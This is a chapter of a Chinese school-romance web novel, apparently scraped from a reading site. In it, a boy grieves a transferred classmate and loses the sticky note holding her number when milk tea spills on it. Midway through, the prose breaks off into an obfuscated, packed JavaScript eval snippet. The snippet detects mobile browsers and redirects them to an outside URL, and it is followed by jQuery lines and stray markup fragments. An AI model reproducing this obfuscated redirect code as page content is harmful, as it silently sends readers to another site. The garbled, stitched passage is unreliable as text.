35. 变化
作品:《温软记号》 林知雨走后,周斯年像是变了一个人。
要是按照谢飞的话说,那就是回归本色。
他其实早就发现了,自林知雨跟周斯年做同桌的第二个星期开始,周斯年的话就变多了,而且是只对林知雨一个人多,对其他人,还是那副冷若冰霜的面孔。
他跟周斯年初中就认识,做了五年多的好哥们。对彼此算不上知根知底,也能说了解个七七八八。
初中的时候,他体型有些胖,很多人调侃他,叫他“大壮”,那个时候,也就周斯年愿意跟他玩,他一句“管别人干什么,起来,跟我走”就让他认定了这个兄弟。
周斯年属于表面高冷那一挂的,他心底的“热”谢飞知道,也见过。
正因为如此,所以谢飞知道,他表面的“高冷”并不是一蹴而就的,因为他一直就这样,从认识他的时候就是。
高一的时候班主任还不是冯老师,那老班选班委的时候很“粗暴”的只认成绩,谁开学考考得好就让谁当班委。要不是被迫,谢飞猜周斯年绝对不会去做这个班长,毕竟他不像是能跟人好好打交道的那种性格。
认识这么久了,他还从没看过周斯年对哪个人这么关心过,男的都没有更别说女的了,一直以来,他以为他就是那副不近人情的模样。
直到某天,他在教室外看到周斯年用指尖绕着林知雨的发梢跟她说话,那神情,他看了第一眼后都没有勇气再看第二眼,他可以打包票,这种温柔的表情,他完全没在周斯年的脸上见过。简直太可怕了。
那个时候,他就意识到了。自己这个万年冰山脸哥们,应该是彻底喜欢上这个半途而来的转校生了。
_
关于周斯年。
你要说他变了,他还是像以前一样,不怎么爱说话,默默做着自己的事情,但你要找他帮忙,他也乐意冷着脸吐槽两句,然后伸出援助之手。
你要说他没变,他话却少了许多,仿佛有林知雨在的时候的那个周斯年,从来没有存在过,就连一丝温柔都没能保留。
可能就连周斯年本人也没想到,林知雨的走,竟意外的影响到了他的成绩。始终稳居年级第一的他,排名不可思议般的下滑了。即使只有一名,也够整个年级的老师和同学惊讶了。
那个无意间超过周斯年的人,更是一脸懵逼,当天就去小卖部猛刮了十几张彩票。不过听说,最后输的挺惨。
一时间,校园贴吧上面讨论帖一大片,各种猜测谣言满天飞,其中说什么的都有,好听的,难听的,没有人会去管说的真与否,大家都只是捧着一颗看热闹的心,隔岸观火,乐此不疲。
关于这些,周斯年不是没听谢飞吐槽过,但却无心去看,也无暇去看。
他一直以为自己只会败给林知雨一人,没想到,他还败给了自己。
_
林知雨走后的那个晚上,周斯年其实给她发了消息。但回应他的,只有十八年以来收到的第一个红色感叹号。
那晚,他将带回的试卷与练习册推到桌子的一边,盯着聊天框看了很久,心里不知道在想些什么。
他曾不死心的在那个之前连接他和林知雨的音乐软件上联系她,却依旧只得到一个灰白色的“未读”。冰冷的文字倒映在他黑色的双眸,而聊天记录也永久停留在了他发的“还在吗”。
那晚,他甚至没有碰一支笔,带的试卷也没有拿出,最后还是第二天在课堂上当场订的正。
老师注意到了,问他为什么没仔细订正,他却说昨天晚上回去困了,睡得早。
他从未想过自己会变成这样,在人生的前十几年,他一直都能做到不顾其他,只做自己,但现在,他却破了自己的原则和规则。
他心里清楚的知道,是林知雨让他破的戒。
他开始调整自己,逼迫自己不去想这件事,逼迫自己不要去想她,但越是这么告诉自己,就越是想。
她那个样子,去新的学校会被欺负吗?还会有人因为脸盲症的事情调侃她吗?如果有人欺负她,她会还手吗?还会有人帮她吗?一想到林知雨,她那副瘦弱的身体就仿佛真正出现在了自己眼前。
他觉得自己疯了。
越想越混乱,思绪像一团乱如麻的线,缠绕在一起,让他有些喘不过气,于是他破天荒的请了一天假。
周斯年给的理由很拽,很狂,也很简单。
老师问起他原因的时候,他已经收拾好书包了,只丢下了一句:
“学累了,休息会。”
冯老师以为他是被上次掉落的名次打击到了,怕他想不开,马不停歇的给他开了假条。而周斯年的父亲也没过问,他本身也很忙,基本不管周斯年的成绩,只是给他甩下一句“你自己看着办”。
一天后,周斯年回到学校,谢飞跑屁颠屁颠的跑过来安慰他。
“别难受了,你跟我说,你是不是因为那个林……”
话还没说完,就被周斯年使了一记眼神,那眼神是在告诉他,不要提。不知道就不要问,知道也不要提,OK?
谢飞眼疾口快的改了说法:“因为……因为她所以才变成这幅鬼样子。”
虽然没具体说出名字,但这个“她”指的是谁,不言而喻。
周斯年心知肚明却淡淡的瞥了他一眼,非常克制的吐出两个字:“不是。”
谢飞急得跳了起来:“还不是?先不说我跟你认识这么久,哎,你当我瞎啊?你都这样了,我再看不出来就该去治治眼睛了。你说不是,那我问你了,你昨天干嘛去了?”
见周斯年难得哑巴,谢飞得寸进尺,一边拍手一边说:“你看,你看,说不出话了吧,我就说是因为她!周哥,人都转学了,你还惦记什么,再说了这不还没表白吗?只是喜欢吧?”他戏谑的看着周斯年。
周斯年知道自己状态不太对,也知道谢飞是在变相的安慰自己。谢飞这么随口说着,他就这么随耳听着。虽然外表看起来有点生人勿近,但实际上,他是个开得起玩笑的人,所以也没把他的调侃太当回事。
同桌不在了,身边略显冷清,多一个谢飞聒噪,他也勉强能接受。但当他听到谢飞说出“表白”这个字眼的时候,他还是没忍住对他说了个
“滚蛋。”
谢飞一边悄悄往旁边挪一边瘪着嘴说:“转学了又不是联系不上了,大不了上一个大学呗,反正高考也没几天了。”
周斯年忍无可忍,直接伸出长腿踹了他一脚,这一脚,给谢飞踹的嗷嗷直叫。
真是哪壶不开提哪壶,句句精准打击。
他突然感觉头一阵痛,自顾着按着太阳穴捏了会才感觉好点。随手翻开一本书,突然,眼前出现一张黄色的便利贴,上面写着一串数字。他撕下放在手里,看了一会,才意识到这是很久之前,林知雨给她的联系方式。
当时只看了一眼,他便记住了这串数字,便利贴也就随手贴在了书本里,没想到,会在现在被翻出来。
也是,他本身就不怎么看课本,况且还是一看就想睡觉的语文书。
他看着便利贴沉默,总隐隐约约感觉,刚刚才按消下去的痛,又缓缓胀了起来。
-
林知雨走后的很长一段时间,本就对周斯年有好感的张欣蕊重新来了劲。
她一个劲的往周斯年身边凑,一点小事就要找他,掐着嗓子叫着“班长”,班里的同学都知道,甚至都传到别的班同学的耳朵里了,她也当没听到。即使周斯年不理她,她也无所谓,仿佛一直活在自己幻想的小世界里。
周斯年没那个闲工夫,所以放任着她不管。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15227154|160622||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>直到有天张欣蕊给他送奶茶的时候,被桌子旁的书绊了一跤,手中的奶茶没能拿稳,直接摔在周斯年的桌子上。很不幸,塑料杯子质量不太好,可以说是瞬间炸开。
深褐色的焦糖奶茶撒在他的桌上,部分直接溅到了他白色的卫衣上,还有些顺着桌子缓缓的滴落,化在地上,形成黏腻的一片。
桐城的夏天本就毒辣,太阳毫不温柔的悬挂在外面,直射在没有拉窗帘的教室里,散发着阵阵热气。此时室外的温度已高达三十五摄氏度,焦糖的甜腻香气很快在热气流中扩散,但周斯年只觉得,无比烦躁。
他压根不在乎自己身上的那星星点点,而是紧盯着面前桌子上那张,写着联系方式的便利贴。
便利贴被奶茶彻底染湿,上面的字已经糊得看不清了,纸张比较薄,被奶茶这种带糖的饮料一冲,早已变得黏糊混沌。
看着周斯年冷冷的盯着桌子,嘴巴抿成一条笔直的线,也不说话,张欣蕊感觉心里一阵慌乱。她有些心虚,忙去隔壁桌上抽了几张纸,伸手就要往周斯年的卫衣上抹,嘴里还支支吾吾的说着:“对...对不起啊...我不是故意的,我也没......”
话还没说完,周斯年直接站了起来,一只手握住了她乱动的胳膊,往旁边一扯。男生的力气毕竟要大一些,再加上学过散打,张欣蕊吃痛后几乎摔倒,要不是正在进教室的陶婧看到了,忙跑过来扶了她一把,她今天绝对要跟这热的发烫的地板来个亲密接触。
周斯年什么话都没说,只是冷眼扫过她,眼神中尽是厌恶。
张欣蕊受了委屈,一直以来埋在心底的不甘积攒到今天一起爆发,她发了疯似的指着周斯年,带着明显的哭腔大声说:“不就一件衣服吗?又不是不赔你,都说了我不是故意的了。再说了,这奶茶也是给你带的,你凭什么这么对我?”
陶婧在一旁扯了扯她的胳膊,小声说:“行了,还不嫌丢人。”
张欣蕊却不领她的好意,一把甩开了她的手,有些崩溃的说:“用不着你假惺惺,这些馊主意还不是你出的。”似乎意识到自己的形象太过于不好,她吸了吸鼻子想转变语气跟好好跟周斯年说,却在对上周斯年看着她的那双极致冷漠,冰冷的,不带有一丝温度的眼睛时,彻底破防。
“你不就是惦记着那个林知雨吗?人家一脑子有问题的,到底有什么值得你喜欢的?”她开始口不择言:“我知道了,你就是看上人家的脸了吧,真没想到啊,你居然是个这么肤浅的人。”
有了之前的经验,周斯年没有跟她多费口舌,只是在这么多双眼睛的注视下,眼尾淡淡的向她扫去,丢下了一句:“有病就去治。”就撕下书上的便利贴,走出了教室,只留下瘫坐在地上的张欣蕊在人群的围观下坐在地上哭泣。听同学说,她后来因为地板烫屁股而讪讪站了起来,最终不了了之。
回去后,他将那张便利贴用开着低档的吹风机仔细的烘干,虽然上面的字已经看不清了,但他依旧将这张便利贴贴在了自己的床头柜上。
他凝视着那张污渍明显的便利贴,突然觉得自己有些好笑,但还是没忍住伸出手摩挲了一下那张纸的边缘。
这件事情闹得比想象中大。
不止整个高三,甚至整个学校都听说了这件事,外面上上下下都在传周斯年脾气不好,不知道怜香惜玉,还伤了人家小女生一片好意。冯老师也因此找了周斯年,却只得到冷冷的一句“她自己先犯得病”。
冯老师觉得有些奇怪,他从没见过周斯年这么直接的骂过哪个同学,于是他找了当时在现场的人问了个清楚,最后在了解完全过程后,语重心长的对周斯年说:“人家女孩子既然已经道歉了,你就别太计较了。”
周斯年没顶嘴,没摇头,更没点头,只是不明意味的扯了扯嘴角。